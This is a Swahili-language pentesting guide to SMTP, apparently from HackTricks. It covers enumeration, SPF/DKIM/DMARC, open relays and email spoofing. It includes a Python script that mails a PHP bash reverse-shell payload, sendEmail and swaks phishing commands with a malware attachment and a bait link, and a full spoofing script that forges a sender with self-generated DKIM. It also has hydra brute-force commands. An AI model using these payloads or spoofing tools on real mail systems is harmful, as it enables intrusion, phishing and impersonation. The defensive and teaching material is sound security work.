25,465,587 - Pentesting SMTP/s

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Taarifa za Msingi

Simple Mail Transfer Protocol (SMTP) ni protokali inayotumika ndani ya seti ya TCP/IP kwa kutuma na kupokea barua pepe. Kutokana na mipaka yake katika kupanga ujumbe kwenye upande wa mpokeaji, SMTP mara nyingi hutumika pamoja na POP3 au IMAP. Protokali hizi za ziada zinawawezesha watumiaji kuhifadhi ujumbe kwenye sanduku la barua la seva na kupakua mara kwa mara.

Katika mazoezi, ni kawaida kwa programu za barua pepe kutumia SMTP kutuma barua pepe, wakati zinatumia POP3 au IMAP kupokea hizo. Kwenye mifumo inayotegemea Unix, sendmail inajitokeza kama seva ya SMTP inayotumika mara nyingi kwa madhumuni ya barua pepe. Kifurushi cha kibiashara kinachojulikana kama Sendmail kinajumuisha seva ya POP3. Zaidi ya hayo, Microsoft Exchange inatoa seva ya SMTP na inatoa chaguo la kujumuisha msaada wa POP3.

Bandari ya kawaida: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Ikiwa una fursa ya kumfanya mwathirika akutumie barua pepe (kupitia fomu ya mawasiliano ya ukurasa wa wavuti kwa mfano), fanya hivyo kwa sababu unaweza kujifunza kuhusu topolojia ya ndani ya mwathirika kwa kuangalia vichwa vya barua pepe.

Unaweza pia kupata barua pepe kutoka kwa seva ya SMTP ukijaribu kutuma kwa seva hiyo barua pepe kwa anwani isiyopo (kwa sababu seva itatuma kwa mshambuliaji barua ya NDN). Lakini, hakikisha unatumia anwani iliyoidhinishwa (angalia sera ya SPF) na kwamba unaweza kupokea ujumbe wa NDN.

Unapaswa pia kujaribu kutuma maudhui tofauti kwa sababu unaweza kupata habari za kuvutia zaidi kwenye vichwa kama: X-Virus-Scanned: by av.domain.com
Unapaswa kutuma faili ya mtihani ya EICAR.
Kugundua AV kunaweza kukuwezesha kutumia vulnerabilities zilizo maarufu.

Basic actions

SMTP:

bash

nc -vn <IP> 25

SMTPS:

bash

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Kupata seva za MX za shirika

bash

dig +short mx google.com

Uhesabu

bash

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ufunuo wa taarifa

Ikiwa seva inasaidia NTLM auth (Windows) unaweza kupata taarifa nyeti (matoleo). Maelezo zaidi hapa.

bash

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Au automate hii kwa kutumia nmap plugin smtp-ntlm-info.nse

Jina la seva ya ndani - Ufichuzi wa taarifa

Seva zingine za SMTP hujaza kiotomatiki anwani ya mtumaji wakati amri "MAIL FROM" inatolewa bila anwani kamili, ikifichua jina lake la ndani:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Angalia kama unapata nenosiri kutoka kwa pakiti za bandari 25

Auth bruteforce

Username Bruteforce Enumeration

Uthibitisho si lazima kila wakati

RCPT TO

bash

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

bash

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

bash

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Zana za kiotomatiki

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DSN Reports

Ripoti ya Hali ya Uwasilishaji: Ikiwa utatuma barua pepe kwa shirika kwa anwani isiyo sahihi, shirika litakujulisha kwamba anwani hiyo ilikuwa isiyo sahihi kwa kutuma barua kwako. Vichwa vya barua pepe iliyorejeshwa vitakuwa na habari nyeti zinazoweza kuwepo (kama anwani ya IP ya huduma za barua pepe zilizoshirikiana na ripoti au taarifa za programu ya kupambana na virusi).

Commands

Kutuma Barua Pepe kutoka kwa konso ya linux

bash

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

bash

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Kutuma Barua Pepe kwa Python

Msimbo wa Pyhton hapa

python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

Ushirikiano wa SMTP Smuggling uliruhusu kupita kupitia ulinzi wote wa SMTP (angalia sehemu inayofuata kwa maelezo zaidi kuhusu ulinzi). Kwa maelezo zaidi kuhusu SMTP Smuggling angalia:

{{#ref}} smtp-smuggling.md {{#endref}}

Hatua za Kupambana na Mail Spoofing

Mashirika yanazuia kutumwa kwa barua pepe zisizoidhinishwa kwa niaba yao kwa kutumia SPF, DKIM, na DMARC kutokana na urahisi wa kudanganya ujumbe wa SMTP.

mwongozo kamili wa hatua hizi unapatikana kwenye https://seanthegeek.net/459/demystifying-dmarc/.

SPF

caution

SPF ilikuwa "imeondolewa" mwaka 2014. Hii ina maana kwamba badala ya kuunda rekodi ya TXT katika _spf.domain.com unaiunda katika domain.com ukitumia sintaksia ile ile.
Zaidi ya hayo, ili kutumia rekodi za spf za awali ni kawaida sana kukutana na kitu kama "v=spf1 include:_spf.google.com ~all"

Sender Policy Framework (SPF) ni mekanizma inayowezesha Wakala wa Uhamishaji Barua (MTAs) kuthibitisha ikiwa mwenyeji anayesambaza barua pepe ameidhinishwa kwa kuuliza orodha ya seva za barua zilizoidhinishwa zilizofafanuliwa na mashirika. Orodha hii, ambayo inaelezea anwani za IP/mipango, majina ya domain, na vitu vingine vilivyoidhinishwa kutuma barua pepe kwa niaba ya jina la domain, inajumuisha "Mekanizma" mbalimbali katika rekodi ya SPF.

Mekanizma

Kutoka Wikipedia:

Mekanizma	Maelezo
ALL	Inalingana kila wakati; inatumika kwa matokeo ya chaguo kama `-all` kwa IP zote ambazo hazijalingana na mekanizma za awali.
A	Ikiwa jina la domain lina rekodi ya anwani (A au AAAA) ambayo inaweza kutatuliwa hadi anwani ya mtumaji, italingana.
IP4	Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv4, lingana.
IP6	Ikiwa mtumaji yuko katika eneo fulani la anwani za IPv6, lingana.
MX	Ikiwa jina la domain lina rekodi ya MX inayotatua hadi anwani ya mtumaji, italingana (yaani, barua inatoka katika moja ya seva za barua za kuingia za domain hiyo).
PTR	Ikiwa jina la domain (rekodi ya PTR) kwa anwani ya mteja iko katika jina la domain lililotolewa na jina hilo la domain linatatuliwa hadi anwani ya mteja (DNS ya nyuma iliyothibitishwa), lingana. Mekanizma hii inashauriwa kuepukwa, ikiwa inawezekana.
EXISTS	Ikiwa jina la domain lililotolewa linatatuliwa hadi anwani yoyote, lingana (bila kujali anwani inayoelekea). Hii haitumiki mara nyingi. Pamoja na lugha ya macro ya SPF inatoa mechi ngumu zaidi kama DNSBL-queries.
INCLUDE	Inarejelea sera ya jina la domain lingine. Ikiwa sera ya jina hilo inapita, mekanizma hii inapita. Hata hivyo, ikiwa sera iliyojumuishwa inashindwa, usindikaji unaendelea. Ili kuhamasisha kikamilifu kwa sera ya jina la domain lingine, kiambatisho cha kuhamasisha kinapaswa kutumika.
REDIRECT	Kupeleka ni kiashiria kwa jina lingine la domain ambalo lina sera ya SPF, inaruhusu majina mengi ya domain kushiriki sera hiyo hiyo ya SPF. Ni muhimu wakati wa kufanya kazi na idadi kubwa ya majina ya domain yanayoshiriki miundombinu ile ile ya barua pepe. Sera ya SPF ya jina la domain lililoonyeshwa katika Mekanizma ya kupeleka itatumika.

Pia inawezekana kubaini Wakadiriaji ambao huonyesha kitu kinachopaswa kufanywa ikiwa mekanizma imefanikiwa. Kwa kawaida, wakadiriaji "+" hutumika (hivyo ikiwa mekanizma yoyote imefanikiwa, hiyo ina maana inaruhusiwa).
Kwa kawaida utaona mwishoni mwa kila sera ya SPF kitu kama: ~all au -all. Hii inatumika kuonyesha kwamba ikiwa mtumaji hailingani na sera yoyote ya SPF, unapaswa kuweka alama barua pepe hiyo kama isiyoaminika (~) au kukataa (-) barua pepe hiyo.

Wakadiriaji

Kila mekanizma ndani ya sera inaweza kuanzishwa kwa moja ya wakadiriaji wanne ili kufafanua matokeo yaliyokusudiwa:

+: Inalingana na matokeo ya PASS. Kwa kawaida, mekanizma zinachukulia wakadiriaji huu, na kufanya +mx kuwa sawa na mx.
?: Inawakilisha matokeo ya NEUTRAL, inachukuliwa sawa na NONE (sera maalum).
~: Inaashiria SOFTFAIL, ikihudumu kama eneo la kati kati ya NEUTRAL na FAIL. Barua pepe zinazokutana na matokeo haya kwa kawaida zinakubaliwa lakini zinawekwa alama ipasavyo.
-: Inaashiria FAIL, ikipendekeza kwamba barua pepe inapaswa kukataliwa moja kwa moja.

Katika mfano ujao, sera ya SPF ya google.com inaonyeshwa. Kumbuka kujumlishwa kwa sera za SPF kutoka majina tofauti ya domain ndani ya sera ya kwanza ya SPF:

shell-session

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Kiasili ilikuwa inawezekana kudanganya jina lolote la kikoa ambalo halikuwa na rekodi sahihi/ya SPF. Sasa, ikiwa barua pepe inatoka kwenye kikoa kisichokuwa na rekodi halali ya SPF kuna uwezekano mkubwa itakubaliwa/kutambuliwa kama isiyoaminika kiotomatiki.

Ili kuangalia SPF ya kikoa unaweza kutumia zana za mtandaoni kama: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM inatumika kusaini barua pepe zinazotumwa, ikiruhusu uthibitishaji wao na Wakala wa Usafirishaji wa Barua (MTAs) kupitia upatikanaji wa funguo za umma za kikoa kutoka DNS. Funguo hii ya umma iko katika rekodi ya TXT ya kikoa. Ili kufikia funguo hii, mtu lazima ajue mteule na jina la kikoa.

Kwa mfano, ili kuomba funguo, jina la kikoa na mteule ni muhimu. Hizi zinaweza kupatikana katika kichwa cha barua DKIM-Signature, e.g., d=gmail.com;s=20120113.

Amri ya kupata habari hii inaweza kuonekana kama:

bash

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC inaboresha usalama wa barua pepe kwa kujenga juu ya protokali za SPF na DKIM. Inabainisha sera zinazongoza seva za barua katika kushughulikia barua pepe kutoka kwa kikoa maalum, ikiwa ni pamoja na jinsi ya kushughulikia kushindwa kwa uthibitisho na wapi kutuma ripoti kuhusu vitendo vya usindikaji wa barua pepe.

Ili kupata rekodi ya DMARC, unahitaji kuuliza subdomain _dmarc

bash

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Tag Name	Purpose	Sample
v	Protocol version	v=DMARC1
pct	Percentage of messages subjected to filtering	pct=20
ruf	Reporting URI for forensic reports	ruf=mailto:authfail@example.com
rua	Reporting URI of aggregate reports	rua=mailto:aggrep@example.com
p	Policy for organizational domain	p=quarantine
sp	Policy for subdomains of the OD	sp=reject
adkim	Alignment mode for DKIM	adkim=s
aspf	Alignment mode for SPF	aspf=r

What about Subdomains?

Kutoka hapa.
Unahitaji kuwa na rekodi za SPF tofauti kwa kila subdomain unayotaka kutuma barua kutoka.
Hii ilichapishwa awali kwenye openspf.org, ambayo ilikuwa rasilimali nzuri kwa aina hii ya mambo.

Swali la Demon: Je, kuhusu subdomains?

Ikiwa napokea barua kutoka pielovers.demon.co.uk, na hakuna data ya SPF kwa pielovers, je, ni lazima nirudi ngazi moja na kujaribu SPF kwa demon.co.uk? Hapana. Kila subdomain katika Demon ni mteja tofauti, na kila mteja anaweza kuwa na sera yake mwenyewe. Haitawezekana kwa sera ya Demon kutumika kwa wateja wote kwa default; ikiwa Demon inataka kufanya hivyo, inaweza kuweka rekodi za SPF kwa kila subdomain.

Hivyo ushauri kwa wachapishaji wa SPF ni huu: unapaswa kuongeza rekodi ya SPF kwa kila subdomain au jina la mwenyeji ambalo lina rekodi ya A au MX.

Tovuti zenye rekodi za A au MX za wildcard pia zinapaswa kuwa na rekodi ya SPF ya wildcard, ya aina: * IN TXT "v=spf1 -all"

Hii ina maana - subdomain inaweza kuwa katika eneo tofauti la kijiografia na kuwa na ufafanuzi wa SPF tofauti sana.

Open Relay

Wakati barua pepe zinatumwa, kuhakikisha hazitapewa alama kama spam ni muhimu. Hii mara nyingi inapatikana kupitia matumizi ya seva ya relay ambayo inatambulika na mpokeaji. Hata hivyo, changamoto ya kawaida ni kwamba wasimamizi huenda hawajui kikamilifu ni mifumo ya IP ipi salama kuruhusu. Ukosefu huu wa uelewa unaweza kusababisha makosa katika kuanzisha seva ya SMTP, hatari ambayo mara nyingi inatambuliwa katika tathmini za usalama.

Njia mbadala ambayo wasimamizi wengine hutumia ili kuepuka matatizo ya usambazaji wa barua pepe, hasa kuhusu mawasiliano na wateja wanaowezekana au wanaoendelea, ni kuruhusu muunganisho kutoka anwani yoyote ya IP. Hii inafanywa kwa kuunda parameter ya mynetworks ya seva ya SMTP ili kukubali anwani zote za IP, kama inavyoonyeshwa hapa chini:

bash

mynetworks = 0.0.0.0/0

Ili kuangalia kama seva ya barua ni relay wazi (ambayo inamaanisha inaweza kupeleka barua pepe kutoka chanzo chochote cha nje), zana ya nmap hutumika mara nyingi. Inajumuisha skripti maalum iliyoundwa kupima hili. Amri ya kufanya skana ya kina kwenye seva (kwa mfano, ikiwa na IP 10.10.10.10) kwenye bandari ya 25 kwa kutumia nmap ni:

bash

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Vifaa

https://github.com/serain/mailspoof Angalia makosa ya SPF na DMARC
https://pypi.org/project/checkdmarc/ Pata mipangilio ya SPF na DMARC kiotomatiki

Tuma Barua Pepe ya Kughushi

Au unaweza kutumia kifaa:

https://github.com/magichk/magicspoofing

bash

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

warning

Ikiwa unapata makosa katika kutumia maktaba ya dkim python wakati wa kuchambua funguo, jisikie huru kutumia hii ifuatayo.
KUMBUKA: Hii ni suluhisho chafu tu la kufanya ukaguzi wa haraka katika hali ambapo kwa sababu fulani funguo ya faragha ya openssl haiwezi kuchambuliwa na dkim.

Au unaweza kufanya hivyo kwa mikono:

# Hii itatuma ujumbe usio na saini
mail("your_email@gmail.com", "Test Subject!", "hey! Hii ni jaribio", "From: administrator@victim.com");

python

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Maelezo zaidi

Pata maelezo zaidi kuhusu ulinzi hizi katika https://seanthegeek.net/459/demystifying-dmarc/

Dalili nyingine za phishing

Umri wa domain
Viungo vinavyoelekeza kwenye anwani za IP
Mbinu za manipulation ya viungo
Viambatisho vya kushangaza (visivyo vya kawaida)
Maudhui ya barua pepe yaliyovunjika
Thamani zinazotumika ambazo ni tofauti na zile za vichwa vya barua
Upoaji wa cheti halali na kinachoaminika cha SSL
Uwasilishaji wa ukurasa kwa tovuti za kuchuja maudhui ya wavuti

Uhamasishaji kupitia SMTP

Ikiwa unaweza kutuma data kupitia SMTP soma hii.

Faili ya config

Postfix

Kawaida, ikiwa imewekwa, katika /etc/postfix/master.cf ina scripts za kutekeleza wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} unamaanisha kwamba /etc/postfix/filtering itatekelezwa ikiwa barua mpya inapokelewa na mtumiaji mark.

Faili nyingine za config:

sendmail.cf
submit.cf

Marejeo

HackTricks Amri za Otomatiki

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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